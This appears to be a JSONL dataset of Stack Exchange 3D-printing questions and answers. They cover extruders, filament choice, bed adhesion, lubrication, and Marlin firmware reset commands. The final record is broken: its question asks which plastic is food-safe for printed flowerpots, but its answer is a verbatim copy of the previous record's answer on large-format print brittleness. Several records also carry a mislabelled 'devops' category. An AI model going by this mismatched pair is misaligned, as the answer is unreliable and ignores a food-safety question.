{"id": "hf_0131b292cd80", "question": "<p>I have been looking to buy a new extruder. One of the options I have seen comes in \"right handed\" and \"left handed\".  What does this mean? How can I tell what my current extruder is, so I get the right replacement?</p>\n", "question_body": "", "answer": "This is an example of a right handed extruder setup:\nAnd this is an example of a left handed extruder setup:\nI believe that you can can choose whatever one you favor. With the right handed setup, you will be pushing down the red part with your right hand when inserting filament. With the left handed setup, you will be doing the same thing but then with your left hand. Personally, I favor the right handed setup (my right hand is my dominant and stronger hand). But, you should be able to choose whatever one you like! Be sure to check it will work with your printer though (extruder holder & hotend).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:04.932995"}
{"id": "hf_e7a685fa94d6", "question": "<p>During a print a lot of plastic ended up ripping the nozzle's yellow insulation strap. </p>\n\n<p>Can printing without this insulation around the fusion chamber damage the printer?</p>\n\n<p>If there is no chance of damaging the printer, how likely is it that the prints will be affected by the absence of this insulation </p>\n\n<p><a href=\"https://i.stack.imgur.com/CYGI7.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/CYGI7.jpg\" alt=\"highlight of the insulation strap\"></a></p>\n", "question_body": "", "answer": "No, without the insulation you can print without a problem. I've been printing for years with (cotton or silicone) and without insulation, works perfectly. Although heat radiates from the heater block, I've never experienced issues that it causes overheating of your printed parts.\nNote that the insulation tries to contain the heat in the nozzle preventing heat to leak to the surroundings (less energy is used/wasted). As such you may need to do a new PID tuning (certainly when the print cooling fan is incorrectly positioned as such that it cools the hotend heater block), but printing should just work fine if the print cooling fan is in the correct position.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:04.956680"}
{"id": "hf_b9dda0f7254d", "question": "<p>3D Printers (those who print, not the machine, dummy)!</p>\n\n<p>I haven't been printing in a while, so when I returned to my Monoprice Select Mini VII, of course it had been sprung out of whack. Some of my first prints would not even come out of the extruder until I realized I had some pretty bad (and worse, unnoticed!) heat creep going on. After fixing that issue, it became apparent that many more persisted.</p>\n\n<p>My question for you all is this: In general, what problems should be addressed first when looking at a complete disaster of a print?</p>\n\n<p>I'm not going to specify any singular problem, but I am interested in seeing the \"order of operations\" for general problem solving when multiple issues exist. For example, \"Fix bed height before anything else; this is a common problem that produces multiple others.\" Hopefully, this can help others with multiple printing issues, too.</p>\n", "question_body": "", "answer": "for sure the answer could be dissertation or even a book because there is no simple way to address \"all\" issues - it's just to wide area\nbut as the simple troubleshooting i would list it this way\nis your printer alive so is it\nworking at all (check power, cables)\ncommunicate with the world (check app, drivers, cables)\nmoving HE and heating HB (check jams, end-points, belts, screws)\nis it extruding (check heating, temperature, HE jams, filament path)\nif all above is \"yes\" then\nis your printer making printouts and are those printouts\nstarts and continues (check heating HB, HB adhesion, leveling, cooling)\nfinished at all (check all above again, stepsticks temerature)\nkeeping the shape (check screws and nuts, couplings, stiffness, stability, temperatures)\nif all above is \"yes\" then in general you are half way ;)\ncommon issues - printout is\nbent or skewed (check geometry, stiffnes, leveling, belts, vibrations, stepsticks temerature)\nwrapped or overextruded (check temperature, extruding, printout angles)\nunderextruded (check filament flow, filament path, stepsticks temerature)\nstringy (check temperatures, app settings)\nthat is the main path i think. all above is more or less applicable to all DIY printers and all prusa clones and all clones of clones ;)\nit can go wrong and fork in all possible moments as there is so many aspects to screw...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:04.981177"}
{"id": "hf_708ff11002c5", "question": "<p>I have a Tevo Tornado that I've outfitted with an official BL-Touch auto level sensor. I can see the bed probing run, and I can see the Z axis slowly adjust during x/y moves, so it's doing <em>something</em>. However, you can see that there appears to be a systematic tilt:</p>\n\n<p><a href=\"https://i.stack.imgur.com/sacY6.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/sacY6.jpg\" alt=\"BL-Touch tilted bed plane\"></a></p>\n\n<p>Any ideas what could be causing this? The bed, gantry and print head is tight, no wobble. Here's my start code:</p>\n\n<pre><code>G28 ; home all axes\nG29\nG1 Z5 F5000 ; lift nozzle\n</code></pre>\n\n<p>I have mesh leveling enabled with a 5x5 grid and correct probe offsets. The bed itself is on PETG printed standoffs instead of springs to eliminate any jitter.</p>\n", "question_body": "", "answer": "The problem with the Tevo Tornado design is that the design is as such that the Z-axis is powered by a single stepper (under the assumption that you have not added a second Z stepper).\nThis means that the level relies on the rigidity of the X-axis assembly, more specific the play on the guide wheels. Apparently the BL-Touch level determination suffers (the up and down movement while probing) from this design as can be seen from the tilt around the Y-axis direction. This effect causing the tilted level plane is called\nhysteresis\n. Now that the Z-axis moves up and down you experience much more problems than using a mechanical switch. The effect is more pronounced when the mass of the hot end carriage is furthest from the Z-axis lead screw.\nNote that an extra stepper can also cause tilted level when the second stepper does not move in sync (e.g. missing steps). In such designs, a single stepper (geared) belt driven 2 lead screw has better performance in that respect.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:05.005522"}
{"id": "hf_4d178eecf504", "question": "<p>I have been looking at getting some painters tape to use on the glass plate for better print adhesion, and everything I read suggests the <em>blue</em> painters tape, such as this:</p>\n\n<p><a href=\"https://i.stack.imgur.com/WNCHm.jpg\" rel=\"noreferrer\" title=\"Blue painters tape\"><img src=\"https://i.stack.imgur.com/WNCHm.jpg\" alt=\"Blue painters tape\" title=\"Blue painters tape\"></a></p>\n\n<p>However, this white tape is considerably cheaper:</p>\n\n<p><a href=\"https://i.stack.imgur.com/Kp92s.jpg\" rel=\"noreferrer\" title=\"White painters tape\"><img src=\"https://i.stack.imgur.com/Kp92s.jpg\" alt=\"White painters tape\" title=\"White painters tape\"></a></p>\n\n<p>This looks like normal masking tape to me.</p>\n\n<p>Is masking tape ok, or is the blue painter's tape preferable? If the latter, then why is that so? What is so special about the blue tape? Is it a different material?</p>\n", "question_body": "", "answer": "Of course, I don't know what kind of tapes you have. My experience with blue tapes is, that they seem in general softer and \"nicer\" than white tapes. Their structure appears denser and they seem to have longer \"furs\" while the white ones are \"dryer\" and \"sharper\"\nThis surface makes the blue tapes I sourced more suitable as the molten filament catches more furs.\nHere are magnified photos of my comparable tapes. Unfortunately, my microscope is pretty lame but at least we can take a look on closeups:\nThis comparison shows the lower density of my white tape better:\nto complete the picture here goes angle photos which reveals some more details\nabove shows that this white tape is made out of flat plastic fiber as they shine when illuminated from different angles\nthis could lead to another question\nis such tape melted in any way in contact with extruded filament?\nworth to analyse...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:05.042587"}
{"id": "hf_c43d3767bff1", "question": "<p>I’m designing a part that will need to be autoclaved—it will be under steam at 121°C for about 15 min per job and I will want it to be able to go through the autoclave repeatedly. I ran a test PLA part through the autoclave and it warped noticeably; based on their glass transition temperatures, ABS (105ºC) and PETG (80ºC) would probably also not hold up. For a consumer-grade FDM printer, what filament materials that could be used for parts that could be autoclaved?</p>\n", "question_body": "", "answer": "It might seem that common 3D printer materials such as PLA and ABS should be capable of being autoclaved—unfortunately. However, although their melting temperatures are higher than autoclave temperature (typically 121ºC), their glass transition temperatures are below that limit so they can warp or undergo creep deformation.\nSterilization of numerous plastics is described\nhere\n, with PLA, ABS, and PET all being described as \"poor\" for autoclaving. For each \"good\" material on that list, I looked for filament by Googling and consulting material guides from\nPrusa\nand\nMatter Hackers\n.\nPolypropylene (PP) or acetal (POM, also known as Delrin) are the best choices. Filament is available for PEEK, PEI (ULTEM), FEP, PPSU, and PPS but these filaments are expensive (>$100/kg) and require high extruder temperatures (>300ºC).\nIn contrast, PP is about $50/kg and uses an extruder temperature of 254ºC; POM is similarly priced and uses an extruder temperature of 210ºC. Nylon (depending on the exact type) and HT-PLA may also be worth considering.\n\"High temperature\" filaments are not worthwhile for this application. Again, they're expensive and, more significantly, do not work well with consumer-grade 3D printers. For example, the upper limit for a Prusa i3 MK3s is about 280ºC—the thermistor only is good up to that temperature. Higher temperatures would require swapping out sensors and modifying firmware and building an enclosure.\nIt's been done\n. Printers designed for high-temperature filaments easily cost\nthousands of dollars\n.\nThis question was previously asked on\nReddit\na few times\nbut this analysis is more comprehensive.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:05.079931"}
{"id": "hf_de13425af1de", "question": "<p>Can I use three-phase stepper motors with pololu style stepper drivers? If not, what kind of drivers support three-phase motors?</p>\n", "question_body": "", "answer": "3D printers typically use bipolar two-phase stepper motors, and it is possible that Pololu-style carriers for stepper-motor drivers only support such motors.\nCertainly, drivers for three-phase stepper motors exist, for example, the Trinamic TMC5062, but I cannot find any Pololu-style carriers for this chip. Even if a Pololu-style carrier can be sourced, it is not certain that existing 3D-printer firmware can be configured to control it.\nIf you are thinking about re-purposing some three-phase motors, I would advise that you purchase standard bipolar motors, instead. Bipolar two-phase motors suitable for 3D printing are not that expensive.\nTrinamic TMC5062", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:05.139174"}
{"id": "hf_d6f817a572d9", "question": "<p>I've been playing around with PETG for the first time, and everything seemingly worked right just from the start - clean prints, no stringing, no bed adhesion problems, no warping or dimensional accuracy problems, etc. As expected it prints a lot like PLA, and as expected, it's less brittle/stands up much better to crushing/impact, <strong>except</strong> that it's really brittle when it comes to inter-layer adhesion. Vertical cylinders that were fairly strong in PLA just snap with no effort as PETG.</p>\n\n<p>My particular PETG filament is Sunlu, with recommended print temperature 230-250 °C. I started out with 235 and am now using 250, which does somewhat better. I've used layer heights 0.125 - 0.2 mm.</p>\n\n<p>Are these kind of results normal? Is there anything I should be doing to get better adhesion between layers?</p>\n", "question_body": "", "answer": "What you describe is usually the result of using a too high of a part cooling fan rotational speed. Like ABS, PETG doesn't require much cooling (if needed at all that is). If you do cool too much, layers and perimeters do not bond optimally (you can get string cheese like printed parts on failure).\nWhy should you use cooling for PETG?\nCooling helps cool the deposited filament on small cross sectional parts. If un-cooled, the printed part picks up too much heat and will deform or sag out.\nIn such cases, reduce cooling to 40 % to start with (another option is to print more parts or increase minimal layer time). Note that there are so many print cooling fan constructions, some more effective than others, so you need to tune the print cooling fan speed to your setup. E.g. for an Ultimaker 3E I get good results at 50 % fan speed, for other self-build printers with effective part cooling solutions, 40 % works best (printed several kilometers of 2.85 mm PETG). First few layers don't need any cooling at all.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:05.163912"}
{"id": "hf_5a85728e2bf1", "question": "<p>After a few months of printing with my Prusa Mk3 (with plans to get a second one soon), I have been wondering about making my third printer a home-built one was a larger print bed than the Mk3. One thing I wondered about is perfectly expressed in the title question.</p>\n\n<p>Are there practical reasons to <strong>not</strong> use a stepper motor with lead screw for the X and or Y axes?</p>\n\n<p>I am certainly happy with the GT2 belts used in my current printer, but I wonder if the design might be simpler with lead-screws on all three axes.</p>\n", "question_body": "", "answer": "Cost would be the primary reason.  You can engineer a belt driven system that will be equally accurate, faster, and with longer travel for a lower cost.\nLead screws are comparatively expensive. The cost differential dramatically increases with length of travel and speed with equivalent accuracy.\nLead screws do have a significant advantage of being able to carry a much heavier load while maintaining rigidity which is important for something like a CNC mill but isn't as relevant for 3D printing.\nThis is on the assumption when you say:\nAre there practical reasons to\nnot\nuse a stepper motor with lead screw for the X and or Y axes?\nyou meant that you are still planning on using stepper motors but considering a lead screw vs. belts.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:05.214081"}
{"id": "hf_6a93c7d97baf", "question": "<p>I have two Tronxy 2.0 V5 Marlin boards that reboot whenever heat is applied to the bed. The bed has been swapped (because I thought that was the problem) for a new shiny one. The thermistors, too, of course.  The same boards (both) work when the beds remain unheated (setpoint = 0&nbsp;&deg;C).</p>\n\n<p>Any ideas what might be causing this, or what I might do to figure it out?</p>\n\n<p>Note: I really have no idea which Tronxy board this is;  the \"2.0\" is stenciled on the board, so that's all I can figure out. I shamefully admit I tagged it with Tronxy x1 to see if I could generate any interest, and because a \"Tronxy\" tag is not available.</p>\n", "question_body": "", "answer": "It sounds like a power-related problem. Always use an external MOSFET to drive a heated bed, and consider investing in a decent power supply. Inevitably, the Tronxy PSU will be barely adequate.\nEdit: I've just noticed the\ntronxy-x1\ntag. Be aware that the stock (60 Watt) PSU for the Tronxy X1 cannot power a heated bed (the printer does not have one). Trying to do so will overload the PSU and cause an immediate reset.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:05.233706"}
{"id": "hf_15f362ae75f6", "question": "<p>I've got some curious marks on my heatbed.</p>\n\n<p>It appears to be from my black Sunlu PLA+ (I can just feel it if I scrape my finger nail over it) but I can't scrape it off with the metal spatula.</p>\n\n<p>When I try and print over it the filament won't stick.</p>\n\n<p>Any suggestions as to what it is and how you get rid of it?\n<a href=\"https://i.stack.imgur.com/ofS5K.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ofS5K.jpg\" alt=\"enter image description here\"></a></p>\n", "question_body": "", "answer": "Edit: As Trish noted, apparently Prusa printers don't ship with Buildtak stickers like the other printers I've used, so this is probably a bad idea in your specific case. For others reading this, only do the sanding shenanigans with buildtak or other stickers that you can easily replace and don't mind wearing down over time.\nUsed to happen to me printing PETG on Buildtak. I ended up using a medium grit sanding sponge to remove the PLA layer. Related, you might want to grab some 1k grit sandpaper for the same reason, it does a great job of freshening up your build surface once builds stop sticking well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:05.254243"}
{"id": "hf_cc1fa86fca2c", "question": "<p>I now own the Prusa3D MMU2.  The benefits, costs, and experience others have had is well documented.  I am interested in rebuilding my large, home-designed delta machine to be multi-material, and don't want to overlook strategies I haven't considered.</p>\n\n<p>My original implementation used an E3D Kraken as the hot-end, and handled the inevitable delta tilt by adding two additional degrees of freedom to the head to lower the selected nozzle to the bed.  I've been through three generations of mechanisms, and I think the third will work.</p>\n\n<p>But, I feel that I am not seeing obvious and better alternatives.</p>\n\n<p>So, the question:  Through what methods and mechanisms can a multi-material (different polymers, different temperatures) FDM printer operate, and are there available designs or examples of best practices for those methods?</p>\n", "question_body": "", "answer": "One of the easiest ways that I've seen, which I'm a fan of, is simply putting Y splitters on your Bowden tube and having multiple feeds to a single hot end. The main benefit is that you only need a single hot end, so you don't have to worry about extruder offset or alignment or anything like that, but you do have to worry about material blending somewhat. Basically you end up needing to build a \"purge tower\" next to your printed items that you use to transition from one material to another.\nThere's the Diamond hotend setup that basically moves the connections into the hotend itself, which reduces the size of your purge tower but increases the risk of burning if you're trying to print with materials with vastly different printing temps, like PLA and PETG.\nYou could also have swappable hotends but that requires you to be there to manually swap the print head twice per layer. Don't recommend.\nUnfortunately there's only so many solutions to the multi material problem, either you put multiple materials through a single hotend, or you have multiple hotends. I'm a fan of the single hotend approach personally, especially on deltas where weight and space are at a premium and alignment becomes problematic.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:05.293822"}
{"id": "hf_c32a39148e2f", "question": "<p>I read that PTFE starts to deteriorate past 260&nbsp;&deg;C. Does that mean heating to 250&nbsp;&deg;C is no problem at all, or will that destroy the PTFE material over time to?</p>\n", "question_body": "", "answer": "Degradation starts at 260 °C and shifts towards full blown decomposition towards 350 °C. 250 °C is technically fine, but you should keep in mind that you've got little to no wiggle room for error at that temperature. Your thermistor and board may not be accurate enough to guarantee you'll never overshoot that temperature, and the way 3D printers often handle temperature adjustment exacerbates that risk. You\ncan\nprint at 250 °C, just be aware you've got basically no margin for error.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:05.348211"}
{"id": "hf_bcaf6bdcdbfb", "question": "<p>I need to cool some liquid (250&nbsp;°C) while it’s flowing through a tube which has to be able to bend and flex.\nMy idea is to make a flexible tube with a second tube spiraling around it through which coolant will flow.</p>\n\n<p>I’d like to 3D print this tube if possible so I wonder if there is some printable filament that:</p>\n\n<ul>\n<li>doesn’t melt at 250&nbsp;°C</li>\n<li>is flexible enough that it can print some tube that can bend (bending radius of 30&nbsp;cm)</li>\n<li>optimally also has good heat conductivity</li>\n</ul>\n\n<p>Is there any 3D printer filament available that has these properties?</p>\n", "question_body": "", "answer": "3D printing nerd showed a couple of filaments that fits this in his latest video \"Printers at RAPID + TCT 2019\":\nFirstly a\nNylon 6 high temperature filament\n:\nAnother part of the video shows another flexible print, created on a four axis 3D printer, using\nTPU filament\n:", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:05.373403"}
{"id": "hf_9a9a25f4bd95", "question": "<p>Given a 3D boolean array representing voxels, how can it be converted to a 3D-printer-ready file?</p>\n\n<p>The end-goal I would like to achieve is to print the 3D shape that the numpy array represents (<code>True</code> coding for <em>fill this voxel</em>, <code>False</code> for <em>leave it empty</em>).</p>\n\n<p>For example, the array</p>\n\n<pre><code>[\n    [\n        [T, T, T],\n        [T, F, T],\n        [T, T, T]\n    ],\n    [\n        [T, F, T],\n        [F, F, F],\n        [T, F, T]\n    ],\n    [\n        [T, T, T],\n        [T, F, T],\n        [T, T, T]\n    ]\n]\n</code></pre>\n\n<p>would encode a <a href=\"https://en.wikipedia.org/wiki/Void_Cube\" rel=\"nofollow noreferrer\">level-1 Menger sponge</a>.</p>\n", "question_body": "", "answer": "I agree with the use of OpenSCAD, but since it is difficult to program in OpenSCAD, I would use\nSolidPython\n, which is a front end for OpenSCAD with the full programming capability of Python.\nIn the alternative, you could use any programming language to decode your arrays and generate the OpenSCAD code for the little network of cubes (or voxels).\nThe final possibility is to generate an STL file directly.  I've helped someone do this, but we found the rules to be a little non-intuitive.  We used mesh tools to check out results, both by looking for error messages, and by displaying the result to see if it looked as we intended it to look.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:05.446353"}
{"id": "hf_7a41a17c3db2", "question": "<p>When I print with a 0.4&nbsp; mm nozzle I have no problem with stringing at all but because I need a more detailed print I must use a 0.25&nbsp;mm nozzle.</p>\n\n<p>I use Ultimaker Cura and an Anycubic i3 Mega.</p>\n\n<p>What i tried so far:</p>\n\n<ul>\n<li>Enable/Disable Z hop</li>\n<li>Tried different retraction distance and speed.</li>\n<li>Tried with lower temperature</li>\n<li>Different wall thickness</li>\n</ul>\n\n<p>If you have any suggestion please let me know.</p>\n", "question_body": "", "answer": "First, you should change the\nnozzle diameter\nsetting, not just the line width setting, in Cura. Both are involved in determining extrusion. Line width can be less than or greater than nozzle size, but setting it much larger or smaller is not going to work well.\nI suspect your main problem, though, is print speed. The area of the 0.25 mm nozzle orifice is only 39% of the area of an 0.4 mm nozzle orifice, bounding the material extrusion rate\nat best\nat 39% of what you could get with the larger nozzle (in practice it will be even lower due to complex fluid dynamics, probably much lower), but at the same linear print speed with narrower lines, you'll be extruding (or trying to extrude) 62.5% as much material per unit time. Now, if that much material can't actually make it out of the nozzle, pressure builds up between the extruder gear and the nozzle, and stringing is the result.\nSo, try lowering the print speed.\nA lot\nat first. If that solves the problem, gradually increase it until you find the limit. Increasing retraction and temperature may help you push it a little further. See my question and self-answer on stringing with flexible filaments, which might give you some ideas on other things to try:\nAvoiding stringing with flexible filament", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:05.470526"}
{"id": "hf_b6c4e0f502b2", "question": "<p>What grease to use on linear rails to make them stick as little as possible? I've tried so far: </p>\n\n<ul>\n<li>WD40 (let’s not start a discussion about that please), </li>\n<li>silicon spray and </li>\n<li>some bearing grease called ‘motorex’, </li>\n</ul>\n\n<p>but with all of them the rails stick quite much and don’t slide as easily as I’d hope.</p>\n\n<p>Can someone recommend some good grease for linear rails (specifically the hiwin type, 12-15mm)?</p>\n", "question_body": "", "answer": "Don't use grease\n, it is better to use a\nlight oil\nto lubricate the rods.  A light oil will help flush out any dust and filament debris, grease will trap it.\nI've used both light machine oil (like used for sewing machines) and PTFE based spray (Teflon). Grease is thick and will collect and trap dust and particles more easily than light machine oil.\nEven high-end consumer printers use light machine oil, e.g. the Ultimaker 3 Extended I got came with a bottle of light machine oil for the linear guide rails. Their advice is to regularly add a drop of oil on each shaft once in a while (how frequent depends on how much your printer prints).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:05.516799"}
{"id": "hf_3b67bc4e7add", "question": "<p>I just updated my Maker Select Plus from the stock (I believe RepRap-based) firmware to Advi3pp, which is Marlin based. The printer starts up and everything seems okay, but I haven't actually tried a print yet and there was a message during the upgrade about deleting incompatible settings. </p>\n\n<p>What do I need to do to recalibrate the printer following the firmware upgrade?</p>\n", "question_body": "", "answer": "If it is Marlin based or RepRap based, many parameters are stored in EEPROM memory. A G-code command\nM502: Read parameters from \"configuration.h\"\nwould reset all parameters that can be changed to their default value as defined in your configuration file. Don't forget to follow the\n```\nM502\n```\ncommand with a\n```\nM500\n```\ncommand to store the loaded parameters to EEPROM. This would overwrite all previous settings.\nFrom the linked source,\n```\nM502\n```\n:\nThis command resets all tunable parameters to their default values, as set in the firmware. This doesn't reset any parameters stored in the EEPROM, so it must be followed with M500 if you want to do that.\nYou can send these commands over a terminal interface to the printer using applications such as Pronterface, OctoPrint, Repetier-Host, and probably many more, or store the commands in a G-code file (e.g. a text file with a\n```\n.g\n```\nextension) and print the file using an SD card.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:05.567581"}
{"id": "hf_08823b331158", "question": "<p>How can I print an embossed image in a concaved shape?</p>\n\n<p>Like a big saucer. I will use this an a mold for a project.</p>\n\n<p>So far I've found lots of software with huge spread of features. It's sort of overwhelming. There is lots of ways to create images into 3D printable objects but to add the extra step and concaving that image is harder to find out.</p>\n\n<p>How would you do it? I'm open to suggestions.</p>\n\n<p>I'm new to 3D printing and would really appreciate the help.</p>\n", "question_body": "", "answer": "What you describe, sounds like you want to create a lithophane; a pattern etched or engraved on a thin translucent base material (in your case a bowl) that can only be seen clearly when backlit with a light source behind it. Apparently you want to use it for another purpose.\nSpecial software and or scripts that transform the image to the base material exist. An example is e.g.\nthis sphere which becomes a globe when lit from the inside\n. Recommending a tool for creating such bowl is a little\nout of scope\nas these types of questions become outdated very quickly as technology changes or tools cease to exist. With the provided information you should be able to find software that is able to provide what you want to do.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:05.608210"}
{"id": "hf_98b97d9b6d53", "question": "<p>I am searching for a Linux software to control the 3000 mW laser engraver depicted below. It's a common model you'd find on AliExpress, Banggood, etc. under different brand names.</p>\n\n<p>I have already tried <a href=\"https://github.com/AxelTB/nejePrint\" rel=\"noreferrer\">nejePrint</a>, <a href=\"https://github.com/LaserWeb/LaserWeb4/wiki\" rel=\"noreferrer\">LaserWeb</a>, and <a href=\"https://github.com/camrein/EzGraver\" rel=\"noreferrer\">EzGraver</a>, but they don't work. Any ideas?</p>\n\n<p><a href=\"https://i.stack.imgur.com/kHoYY.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/kHoYY.jpg\" alt=\"enter image description here\"></a></p>\n", "question_body": "", "answer": "A program that lists as functional with Linux is\nLightburn\n. It's new to the laser engraving world and supports GRBL type controllers as well as Ruida brand and possibly a few others. If you can determine your controller, you're a step ahead of the game.\nDirectly from their site:\nLightBurn\nLightBurn is layout, editing, and control software for your laser\n  cutter. With LightBurn you can:\nImport artwork in a variety of common vector graphic and image formats (including AI, PDF, SVG, DXF, PLT, PNG, JPG, GIF, BMP)\nArrange, edit, and even create new vector shapes within the editor, with powerful features like offsetting, boolean operations, welding,\n  and node editing\nApply settings like power, speed, number of passes, cut order, brightness & contrast, dithering mode, and much more\nSend the result directly to your laser cutter\nLightBurn is a native application written for Windows, Mac OS, and\n  Linux.\nI'm a satisfied Lightburn user, not a company representative.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:05.631444"}
{"id": "hf_190eac859ba2", "question": "<p>Recently on one of her videos a YouTuber stated that prints from large format printers are more brittle than if you were to print them in parts and glue them together. This seems to contradict the testimonials from the customers of a large format printer, who say that they get good prints from those printers (which print have a print area of a meter square). </p>\n\n<p>Would a print form a larger format printer be more brittle than a print made of smaller pieces super glued together?</p>\n\n<p>(with all other aspects being equal e.g. the nozzle, the temps, the material and the shape of the object).</p>\n\n<p>The YouTube didn't cite any source information to back up her claim.</p>\n", "question_body": "", "answer": "If you break up a large piece into multiple smaller pieces and properly glue them together, you basically add stiffeners (as a result of printing walls). This could lead to a more stiff model; this might have been confused by calling large prints more brittle opposed to constructed models.\nIf printing is conducted at similar conditions on large printers, there shouldn't be a reason why the model becomes more brittle unless the conditions aren't the same. But that would be true for printing at small printers too, e.g. if one print was printed in a draft.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:05.672928"}
{"id": "hf_38df447603d8", "question": "<p>I want to print a flowerpots, for advanced watering system.</p>\n\n<p>Plants are going to be eaten.</p>\n\n<p>What is the most suitable material, when we consider the fact, that we do not want to just make forms and do clay flowerpots(which may seem most healthier), but having them directly printed.</p>\n\n<p>What are the temperatures that makes plastics emit dangerous components in surrounding water, and what are those components?</p>\n\n<p>Is there some \"totally safe\" material out there? I was thinking of PLA or PETG, because I've already heard that ABS is not safe for edibles.</p>\n", "question_body": "", "answer": "If you break up a large piece into multiple smaller pieces and properly glue them together, you basically add stiffeners (as a result of printing walls). This could lead to a more stiff model; this might have been confused by calling large prints more brittle opposed to constructed models.\nIf printing is conducted at similar conditions on large printers, there shouldn't be a reason why the model becomes more brittle unless the conditions aren't the same. But that would be true for printing at small printers too, e.g. if one print was printed in a draft.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:05.697122"}
